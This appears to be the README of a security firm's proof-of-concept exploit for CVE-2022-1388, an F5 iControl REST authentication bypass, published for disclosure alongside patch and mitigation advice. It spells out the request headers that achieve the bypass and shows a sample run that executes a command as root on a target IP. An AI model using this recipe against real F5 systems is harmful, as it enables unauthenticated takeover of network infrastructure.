POC for CVE-2022-1388 affecting multiple F5 products.

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

A technical root cause analysis of the vulnerability can be found on our blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

Necessary conditions of a request for exploiting this vulnerability:

1. Connection header must include X-F5-Auth-Token
2. X-F5-Auth-Token header must be present
3. Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
4. Auth header must be set with the admin username and any password

root@kali:/home/dev# python3 CVE-2022-1388.py -t 192.168.0.221 -c id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Update to the latest version or mitigate by following the instructions within the F5 Security Advisory

• https://support.f5.com/csp/article/K23605346

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